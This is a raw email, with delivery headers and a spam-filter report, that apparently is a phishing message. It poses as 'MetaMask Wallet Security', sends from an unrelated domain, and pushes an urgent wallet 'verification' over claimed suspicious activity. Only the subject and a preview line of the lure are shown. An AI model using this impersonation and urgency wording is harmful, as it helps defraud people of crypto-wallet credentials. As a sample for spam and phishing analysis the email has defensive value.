Return-Path: Delivered-To: behniwal@server.rnv.kpw.mybluehostin.me Received: from server.rnv.kpw.mybluehostin.me by server.rnv.kpw.mybluehostin.me with LMTP id GnmrLrXOZWk1CQAAyTkJsw (envelope-from ) for ; Mon, 12 Jan 2026 21:48:53 -0700 Return-path: Envelope-to: info@behniwalgroup.com Delivery-date: Mon, 12 Jan 2026 21:48:53 -0700 Received: from cloudhost-795305.uk-south-2.nxcli.net ([165.84.219.145]:39148) by server.rnv.kpw.mybluehostin.me with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (Exim 4.95) (envelope-from ) id 1vfWKp-0000bf-9m for info@behniwalgroup.com; Mon, 12 Jan 2026 21:48:53 -0700 Comment: DomainKeys? See http://domainkeys.sourceforge.net/ DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=9c66b3d4f0.nxcli.io; b=t7b2+X3xT/wgCmk06vS8O1xeMmo26XC4+FvgDwEc4HBx+RqoNwg93d32aUgAN/c8eaEz6kVIS6lBtEOdOFwXC4zo95O4259HWlUpF3u75UQsBfwwpi/gBcJFFRp2BZCeKWOVxWIv8qgZiDoE2QeSJxqvVEJrFiKSf66NJDS79JUQcKU0C6NZ8ygwG0lpVIM+QfgMjqlsU9BoZGgC9phCGIWyymxDOjR88O5jl+tyDz80T+QJwffDwHudSZ6e9eRSwFN0NKBGWCm7kyR6BO0hLov71+Pi75d32PRvrKC7tVpkj4FVH68NVF+hPbqx1XWT84AoSJUMW/BAIfDDpo127Q==; h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority:List-Unsubscribe; DKIM-Signature: v=1; a=rsa-sha256; c=relaxed; d=9c66b3d4f0.nxcli.io; h= date:message-id:to:subject:from:reply-to:mime-version :content-type:list-unsubscribe; s=default; bh=U880bXjOO3jQttppmB 4Y4YyYmR6GaCtUs/7FmOH8x34=; b=KdRy+UhkBDgXdwx4J6/MSrR56HPR0kE3ZC HQ8SWZXJwDHiZICeVBhKpVeRhSFCZFNdYoZistGdio9KpS15JIJhw1rUHVYnVY3d qKoZkH14oZp6maXfHJDqNI3G1E2Ldpr+pnqLLF9m2ecks2JXXE6HUsJUwSq23Gnp pFjF7ks0y80o65hb28fHpNX5gpMN3E+eBpn9edhO6snnlkMXgtP2v5Bdf2wiLDwl Zc2KvdwLRNsI05DHxX8pmDQLee/vb62GA1SdmFCJNSXPkV7qzeM/q8ncLbOmAKXT 4RfTtSTowH7kRvGPK0N78Xjq7xjfKmk/OvkowFntCIWJJOaJIT0A== Received: (qmail 33089 invoked by uid 10222); 13 Jan 2026 04:48:04 +0000 Date: 13 Jan 2026 04:48:04 +0000 Message-ID: <20260113044804.33078.qmail@cloudhost-795305.uk-south-2.nxcli.net> To: info@behniwalgroup.com Subject: URGENT: Verify Your MetaMask Wallet Immediately X-PHP-Originating-Script: 10222:app.php From: "MetaMask Wallet Security" <7hparmsb@ovp.io> Reply-To: 7hparmsb@ovp.io MIME-Version: 1.0 Content-Type: text/html; charset=UTF-8 X-Mailer: PHP/8.2.20 X-Priority: 3 List-Unsubscribe: X-Spam-Status: No, score=0.4 X-Spam-Score: 4 X-Spam-Bar: / X-Ham-Report: Spam detection software, running on the system "server.rnv.kpw.mybluehostin.me", has NOT identified this incoming email as spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: Introducing Embedded Wallets powered by Infura with Web3Auth URGENT: Verify Your MetaMask Wallet Immediately We have detected suspicious activity on your MetaMask wallet. Content analysis details: (0.4 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block for more information. [URIs: amazonaws.com] 0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [165.84.219.145 listed in sa-trusted.bondedsender.org] 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [165.84.219.145 listed in bl.score.senderscore.com] 0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail domains are different 0.1 URI_HEX URI: URI hostname has long hexadecimal sequence 0.0 HTML_MESSAGE BODY: HTML included in message 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid 0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict Alignment 0.1 DKIM_INVALID DKIM or DK signature exists, but is not valid X-Spam-Flag: NO Introducing Embedded Wallets powered by Infura with Web3Auth